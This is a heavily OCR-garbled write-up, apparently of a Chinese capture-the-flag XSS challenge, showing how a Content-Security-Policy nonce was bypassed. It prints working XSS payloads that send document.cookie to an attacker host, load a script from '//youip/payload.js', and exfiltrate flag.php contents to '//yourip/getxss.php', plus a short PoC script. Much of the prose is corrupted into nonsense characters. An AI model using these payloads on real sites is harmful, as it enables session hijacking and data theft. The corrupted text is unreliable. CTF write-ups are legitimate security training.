RE T

admin WINIZERL THIRAR, SEEMNARIIR,

http://52.80.63.91/

Get Cookie

Content-Security-Policy:

default-src 'self';

script-src 'self' 'unsafe-inline'

'unsafe-eval ';
style-src 'self' 'unsafe-inline';

CSPRERIM, MEEREZREIR

'script' -> "'

SEERAMENEEAIE, scrscriptipt
payload = """<scrscriptipt>window.locatioonn="%s?
cookie="+escape(document.cookie)</scrscriptipt>""" % (xssplatform)
F/RHcookieEB 2R —1xAY

PHPSESSID=bgvol76v@fb7k@urébntiughn2?7

BiEadminfcookieBEEE EE —1EME T —REVIRR

Wow, good guys,maybe you want /adminshigesha233e3333#admin

shEEEERE, #HIRNXE—EXSS

Get Flag

EBIRHS



http://52.80.63.91/

<script nonce="nuU6doJNE@9y'>document.write('Hello," +
unescape(location.hash.substring(1)) + '\r\n maybe something in
flag.php')</script><script nonce="nuU6doINE@9y'>console.log( " 'bad boy!!")

</script>

& script Z%

EEEEE

Content-Security-Policy:
default-src 'self'; script-src 'nonce-nuU6doJNE@9y';

BHMIEL T, BRI

balabala~~

EEARER, BREX—ITREE

¥ <head
v <script nonce="9bBiyiv@gNGX
document.write('Hello, ' + unescape(location.hash.substring(1)) + '\r\n maybe something in flag.php')
/script
/head
¥ <body

"Hello,"
script=alert('xss')</script

maybe something in flag.php"
script nonce="9b8iyiv@gNGX'"=>console. log( ‘bad boy!!')</script
/body

AJPAZEIR document.write INB 2R _EZEHRIE, EESAIUFA—T

BHE—EFRASHRERCNE _ERBESER

http://52.80.63.91/adminshigesha233e3333/#<script
http://52.80.63.91/adminshigesha233e3333/#<script
src="//youip/payload.js'

body
"Hello,"

script lmaybe something in flag.php<scriptjnonce="uU6LOArP4R5I'}-console. log('bad boy!!"')</script

script src="//youip/payload.js" maybe something in flag.php<script nonce="wj7Qhz7@mIS9">console. log('bad boy!!')</script
/bod

BERHRIRA AT IR T

Poc



fuck.py

payload_1 = "<scrscriptipt>window.locatioonn=\"%s?
cookie=\"+escape(document.cookie)</scrscriptipt>" % (xssplatform)

payload_2 = "<scrscriptipt>window.locatioonn=\"/adminshigesha233e3333/#
<scrscriptipt src="%s'\"</scrscriptipt>" % (xsspayload)

XSS.js

// EETMER, BHREEjquery.min.jsEEM Lpayload
$.get("/adminshigesha233e3333/flag.php",
function (res) {
window.location="//yourip/getxss.php?flag="+escape(res)

1)

Flag

pwnhub{flag:%0u5411%u5927 %u4F6C%u4F4E%u5934%u7684.avi}

pwnhub{flag:E A &k H.avi}
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